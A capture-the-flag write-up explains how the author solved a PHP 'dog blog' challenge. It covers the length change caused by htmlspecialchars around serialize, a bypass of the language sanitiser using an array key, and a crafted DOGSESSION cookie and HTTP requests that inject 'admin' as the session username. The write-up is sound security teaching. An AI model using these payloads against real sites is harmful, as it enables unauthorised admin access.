Getting started, we're given the following source files.
├── Dockerfile
└── www
├── config.yaml
├── html
│ ├── admin.php
│ ├── article.php
│ ├── index.php
│ ├── login.php
│ └── logout.php
├── lib
│ ├── auth.php
│ ├── bootstrap.php
│ ├── sessions.php
│ └── translate.php
└── tmpl
├── admin.tmpl.php
├── article.1.tmpl.php
├── article.2.tmpl.php
├── footer.tmpl.php
├── header.tmpl.php
├── index.tmpl.css
├── index.tmpl.php
└── login.tmpl.php
5 directories, 19 files
As with any CTF challenge, we'll start by getting an understanding of where the flag is. This will give us a better understanding of what we'll need to exploit in order to solve the challenge.
In the www/config.yaml file we find the flag being defined.
users:
# guest has password 'guest'
guest: $2y$10$dR612s6PQNaNvA6YLqqqQ.gACv5wLmA5iDzqmLRuGeDCwJaqxzCXi
# admin has unguessable password :(
admin: XXX
# secret key and flag are also unguessable :(
secret_key: XXX
flag: XXX
translations:
en:
BLOG_TITLE: 'dog blog'
BLOG_VIEW: 'view blog'
BLOG_LOGOUT: 'logout'
The only other mention of the flag is in www/tmpl/admin.tmpl.php.
<?php require 'header.tmpl.php'; ?>
<div class="container">
<h1><?= T('BLOG_TITLE') ?></h1>
<div class="welcome-message">
<?= dog_is_admin() ? CONFIG['flag'] : T('BLOG_ADMIN_WELCOME'); ?>
</div>
</div>
<?php require 'footer.tmpl.php'; ?>
This already gives us the following information:
dog_is_admin() to return True if we want easy access to the flag.secret_key is not a viable way forward (if we're trusting the authors comments, which we will for now).The dog_is_admin() function checks that our username is admin, as below.
function dog_is_admin() {
return isset($_SESSION['username']) && $_SESSION['username'] === 'admin';
}
Now before we get too carried away, I'd typically want to make sure I understand how the application routes requests, but at a glance it already seems like it will be quite simple. I'll list some quick assumptions:
www/html/, e.g. www/html/login.php.www/lib/ files for general functionality.www/tmpl/ for additional page content.So with that context, we can assume that the www/tmpl/admin.tmpl.php content will be rendered when visiting admin.php, which we can see is the case in the below snippet of the admin.php source code.
<?php
require_once '../lib/bootstrap.php';
dog_session_start();
if (isset($_GET['lang'])) {
dog_change_language($_GET['lang']);
}
dog_session_end();
if (!dog_is_logged_in()) {
header('Location: /login');
die;
}
require_once '../tmpl/admin.tmpl.php';
Note that before we reach www/tmpl/admin.tmpl.php we first encounter the following interesting functions:
dog_session_start()dog_change_language()dog_session_end()We don't flag dog_is_logged_in() as particularly interesting here since its very simple and just checks that our current session has a username field defined:
function dog_is_logged_in() {
return isset($_SESSION['username']);
}
The functions that we did raise as interesting are a bit more complex, and are defined in www/lib/sessions.php and www/lib/translate.php as below.
<?php
function dog_session_start() {
$_SESSION = [];
if (!isset($_COOKIE['DOGSESSION'])) { # 1
return;
}
$payload = $_COOKIE['DOGSESSION'];
if (strlen($payload) < 32) {
return;
}
$sig = substr($payload, 0, 32);
$data = substr($payload, 32);
if (hash_hmac('md5', $data, CONFIG['secret_key']) !== $sig) { # 2
return;
}
$_SESSION = unserialize(htmlspecialchars_decode($data)) ?: []; # 3
}
function dog_session_end() {
$data = htmlspecialchars(serialize($_SESSION)); # 4
$sig = hash_hmac('md5', $data, CONFIG['secret_key']);
setcookie('DOGSESSION', $sig . $data);
}
<?php
function T($code) {
$lang = $_SESSION['lang'] ?? 'en';
if (!array_key_exists($lang, CONFIG['translations'])) {
$lang = 'en';
}
return CONFIG['translations'][$lang][$code];
}
function dog_valid_language($lang) {
return preg_replace('/[^a-z]/', '', $lang);
}
function dog_change_language($lang) {
if ($lang = dog_valid_language($lang)) {
$_SESSION['lang'] = $lang; # 5
}
}
Since there's not a lot of code here and it's all related to the admin.php page (where our flag is), we want to audit this code very closely. Starting with dog_session_start(), we note that:
DOGSESSION. (# 1, referring to the line in the code snippet marked as # 1)$sig) and associated data ($data). (# 2)$data) in our cookie. Note in particular that the data is first processed using htmlspecialchars_decode before being unserialized and then stored. (# 3)Moving onto dog_session_end(), we see that generating the data ($data) for our session involves serializeing our currently stored session ($_SESSION) and using htmlspecialchars on the result (# 4).
Finally, the dog_change_language() function takes a language ($lang), removes any characters that don't match /[^a-z]/ (lowercase alphabet), and then sets it as our language setting in our session ($_SESSION['lang']).
To give all that analysis some context, see the following snippets that show our DOGSESSION cookie being set after we change our language.
GET /admin?lang=abc HTTP/1.1
Host: web-dog-blog-d4cd3a85c452.c.sk8.dog
...snip...
HTTP/1.1 200 OK
Set-Cookie: DOGSESSION=bd5aa21201c134fba04cba768d5b64a8a%3A2%3A%7Bs%3A4%3A%26quot%3Blang%26quot%3B%3Bs%3A3%3A%26quot%3Babc%26quot%3B%3Bs%3A8%3A%26quot%3Busername%26quot%3B%3Bs%3A5%3A%26quot%3Bguest%26quot%3B%3B%7D
...snip...
URL decoding the cookie gives us:
bd5aa21201c134fba04cba768d5b64a8a:2:{s:4:"lang";s:3:"abc";s:8:"username";s:5:"guest";}
Which HTML decodes to:
bd5aa21201c134fba04cba768d5b64a8a:2:{s:4:"lang";s:3:"abc";s:8:"username";s:5:"guest";}
With so much of this functionality centering around a strange custom session implementation, and our main path to the flag being the dog_is_admin() session check, it is reasonable to assume there's a bug in the functions we've just reviewed. We can also guess that whatever the bug is, it will let us set the username attribute of our session to admin.
Starting with these assumptions, the following lines from dog_session_start() and dog_session_end() seem most likely to introduce the behaviour we're looking for [*1].
$_SESSION = unserialize(htmlspecialchars_decode($data)) ?: []; # dog_session_start()
$data = htmlspecialchars(serialize($_SESSION)); # dog_session_end()
As we covered before, the first line reads serialised $data from our DOGSESSION cookie, and the second line sets the DOGSESSION cookie based on our internal $_SESSION. The key idea that makes these lines interesting comes from their use of htmlspecialchars() and htmlspecialchars_decode(). Since PHP serialisation relies a lot on knowing the length of a value, if there's inconsistencies between the length of a value when it is decoded vs when it was encoded, then we could start tampering with the final deserialisation.
To illustrate this idea, consider the following string moving through the dog_session_end() process.
"A" -> serialise -> s:1:"A" -> HTML Encode -> s:1:"A"
We'll then move it through the dog_session_start() process, but assume that HTML decoding A would produce AAA instead of A.
s:1:"A" -> HTML Decode -> s:1:"AAA" -> deserialise -> ERROR!
So if this was possible, we could inject two additional characters into a string that is assumed to be one character in length. By using multiple A characters (still assuming it would produce AAA), we could expand on this idea to escape from the serialised string structure.
s:6:"AA"AAA" -> HTML Decode -> s:6:"AAAAAA"AAAAAAAAA" -> ERROR!
Finally, we could use this to inject new structures beyond the string, making the deserialisation successful again.
s:12:"AAAA";s:1:"A" -> HTML Decode -> s:12:"AAAAAAAAAAAAAAA";s:1:"A" -> Successful deserialisation
Note that the the initial serialised string was AAAA";s:1"A (HTML encoded in the above excerpt), but when decoded and deserialised it resulted in the creation of two separate strings, AAAAAAAAAAAA and A. If we could make this work in the challenge, we could try to inject a username field instead of a simple string. This would let us set our username to admin and pass the dog_is_admin() check!
To figure out whether this idea is possible, we can write a small script to compare the length of a character after encoding/decoding with htmlspecialchars() and htmlspecialchars_decode().
for ($i = 0x00; $i <= 0xFF; $i++) {
$byte = chr($i);
$length = strlen($byte); # should always be 1
$length_encode_decode = strlen(htmlspecialchars_decode(htmlspecialchars($byte)));
if ($length_encode_decode != $length) {
echo bin2hex($byte) . " of length " . $length . " decoded to length " . $length_encode_decode . "\n";
}
}
Running this script, we actually get a lot of hits!
...snip...
fc of length 1 decoded to length 3
fd of length 1 decoded to length 3
fe of length 1 decoded to length 3
ff of length 1 decoded to length 3
Note as well that the conversion from a length of one to a length of three matches our theoretical A to AAA scenario.
This means our attack idea may be possible, but we've got one more problem to address. The only field in our session that we control is lang, but the dog_valid_language() function that runs against our lang input removes any character that isn't a lowercase letter.
function dog_valid_language($lang) {
return preg_replace('/[^a-z]/', '', $lang);
}
Unfortunately, none of the characters found by our script are a simple lowercase letter, so they'd all get removed by this sanitisation. To figure out a way around this, we could experiment with how preg_replace works on different data types, since there doesn't appear to be any type checks for lang. The following excerpt shows a script that tests preg_replace on a keyed array.
$a = "testing!";
$b = ["testing!" => "testing!"];
echo var_dump(preg_replace("/[^a-z]/", "", $a));
echo var_dump(preg_replace("/[^a-z]/", "", $b));
Running this, we get the following output.
string(7) "testing"
array(1) {
["testing!"]=>
string(7) "testing"
}
Notice that? The key in the array didn't get sanitised! We'll try to replicate this behaviour for the lang input using the following request.
GET /?lang[testing!]=testing! HTTP/1.1
Host: web-dog-blog-d4cd3a85c452.c.sk8.dog
...snip...
HTTP/1.1 200 OK
Set-Cookie: DOGSESSION=70643f95a6a53570083f477ddd38d0c4a%3A2%3A%7Bs%3A8%3A%26quot%3Busername%26quot%3B%3Bs%3A5%3A%26quot%3Bguest%26quot%3B%3Bs%3A4%3A%26quot%3Blang%26quot%3B%3Ba%3A1%3A%7Bs%3A8%3A%26quot%3Btesting%21%26quot%3B%3Bs%3A7%3A%26quot%3Btesting%26quot%3B%3B%7D%7D
...snip...
URL decoding the cookie gives us:
70643f95a6a53570083f477ddd38d0c4a:2:{s:8:"username";s:5:"guest";s:4:"lang";a:1:{s:8:"testing!";s:7:"testing";}}
Which HTML decodes to:
70643f95a6a53570083f477ddd38d0c4a:2:{s:8:"username";s:5:"guest";s:4:"lang";a:1:{s:8:"testing!";s:7:"testing";}}
It worked! We can now bypass the sanitisation and attempt our attack.
With all the concepts we have put together so far, we should be able to inject a username field with the value of admin into our serialised session. Making sure that the injection is successful requires a precise payload and is dependant on the current state of the session [*1]. To set up an initial session we can work with, we'll:
lang to en.This generates the following session:
b49e07e93b9b9eecfdedcde0c1c3645aa:2:{s:4:"lang";s:2:"en";s:8:"username";s:5:"guest";}
From here, we can generate an exploit payload that leverages the 0xff byte we found to be expanded when being encoded/decoded.
GET /admin?lang[%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff";s:5:"teste";}s:8:"username";s:5:"admin";}}]=test HTTP/1.1
Host: web-dog-blog-d4cd3a85c452.c.sk8.dog
Cookie: DOGSESSION=b49e07e93b9b9eecfdedcde0c1c3645aa%3A2%3A%7Bs%3A4%3A%26quot%3Blang%26quot%3B%3Bs%3A2%3A%26quot%3Ben%26quot%3B%3Bs%3A8%3A%26quot%3Busername%26quot%3B%3Bs%3A5%3A%26quot%3Bguest%26quot%3B%3B%7D
...snip...
HTTP/1.1 200 OK
Set-Cookie: DOGSESSION=00f3b9050c4b069398b72a48409c0910a%3A2%3A%7Bs%3A4%3A%26quot%3Blang%26quot%3B%3Ba%3A1%3A%7Bs%3A66%3A%26quot%3B%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%26quot%3B%3Bs%3A5%3A%26quot%3Bteste%26quot%3B%3B%7Ds%3A8%3A%26quot%3Busername%26quot%3B%3Bs%3A5%3A%26quot%3Badmin%26quot%3B%3B%7D%7D%26quot%3B%3Bs%3A4%3A%26quot%3Btest%26quot%3B%3B%7Ds%3A8%3A%26quot%3Busername%26quot%3B%3Bs%3A5%3A%26quot%3Bguest%26quot%3B%3B%7D
...snip...
Below is the decoded cookie we got in the response.
00f3b9050c4b069398b72a48409c0910a:2:{s:4:"lang";a:1:{s:66:"<66-GARBAGE-BYTES>";s:5:"teste";}s:8:"username";s:5:"admin";}}";s:4:"test";}s:8:"username";s:5:"guest";}
We've successfully injected a username of admin! This looks good, but when we try to visit admin.php and get our flag we run into one more issue.
GET /admin.php HTTP/1.1
Host: web-dog-blog-d4cd3a85c452.c.sk8.dog
Cookie: DOGSESSION=00f3b9050c4b069398b72a48409c0910a%3A2%3A%7Bs%3A4%3A%26quot%3Blang%26quot%3B%3Ba%3A1%3A%7Bs%3A66%3A%26quot%3B%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%26quot%3B%3Bs%3A5%3A%26quot%3Bteste%26quot%3B%3B%7Ds%3A8%3A%26quot%3Busername%26quot%3B%3Bs%3A5%3A%26quot%3Badmin%26quot%3B%3B%7D%7D%26quot%3B%3Bs%3A4%3A%26quot%3Btest%26quot%3B%3B%7Ds%3A8%3A%26quot%3Busername%26quot%3B%3Bs%3A5%3A%26quot%3Bguest%26quot%3B%3B%7D
...snip...
<b>Fatal error</b>: Uncaught TypeError: Cannot access offset of type array on array in /var/www/lib/translate.php:5
Stack trace:
#0 /var/www/tmpl/header.tmpl.php(6): T('BLOG_TITLE')
#1 /var/www/tmpl/admin.tmpl.php(1): require('/var/www/tmpl/h...')
#2 /var/www/html/admin.php(18): require_once('/var/www/tmpl/a...')
#3 {main}
thrown in <b>/var/www/lib/translate.php</b> on line <b>5
...snip..
Looking at the source code of admin.tmpl.php we can see the T('BLOG_TITLE') call that triggered the error (based on the above stack trace).
<?php require 'header.tmpl.php'; ?>
<div class="container">
<h1><?= T('BLOG_TITLE') ?></h1> # Here's the error
<div class="welcome-message">
<?= dog_is_admin() ? CONFIG['flag'] : T('BLOG_ADMIN_WELCOME'); ?>
</div>
</div>
<?php require 'footer.tmpl.php'; ?>
Reviewing the T() function, we can spot the issue.
function T($code) {
$lang = $_SESSION['lang'] ?? 'en';
if (!array_key_exists($lang, CONFIG['translations'])) {
$lang = 'en';
}
return CONFIG['translations'][$lang][$code];
}
When we request admin.php it's trying to use our $_SESSION['lang'] in an array_key_exists() call, but our $_SESSION['lang'] is an array instead of the expected string type. This causes an error that stops the page from loading and prevents us from getting the flag. Luckily, due to the order of operations, we can actually change our $_SESSION['lang'] value before we reach this check by simply defining a valid lang query parameter in our exploit request. This results in the following final exploit request that successfully gets the flag!
GET /admin.php?lang=en HTTP/1.1
Host: web-dog-blog-d4cd3a85c452.c.sk8.dog
Cookie: DOGSESSION=00f3b9050c4b069398b72a48409c0910a%3A2%3A%7Bs%3A4%3A%26quot%3Blang%26quot%3B%3Ba%3A1%3A%7Bs%3A66%3A%26quot%3B%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%26quot%3B%3Bs%3A5%3A%26quot%3Bteste%26quot%3B%3B%7Ds%3A8%3A%26quot%3Busername%26quot%3B%3Bs%3A5%3A%26quot%3Badmin%26quot%3B%3B%7D%7D%26quot%3B%3Bs%3A4%3A%26quot%3Btest%26quot%3B%3B%7Ds%3A8%3A%26quot%3Busername%26quot%3B%3Bs%3A5%3A%26quot%3Bguest%26quot%3B%3B%7D
...snip...
HTTP/1.1 200 OK
...snip...
<div class="welcome-message">
skbdg{i_serialously_thought_this_was_secure_af}
</div>
Woo! I really enjoyed this challenge, and it was the first difficult Hashkitten challenge that I've managed to solve, which has been a goal of mine for a while now. See you for the next Hashkitten challenge writeup, which undoubtably will have to be much longer haha.
[*1] There was a bit more analysis that happened before narrowing it down to these two lines of code, but it was pretty clear that the custom serialised session was the focus for the challenge.
[*2] During the CTF I wrote a quick script that would generate a payload for any serialised data that I wanted to inject, making it much easier get the offsets correct. This script was hardcoded to work with the exact initial session I was working with at the time and is not very pretty, so I won't share it here.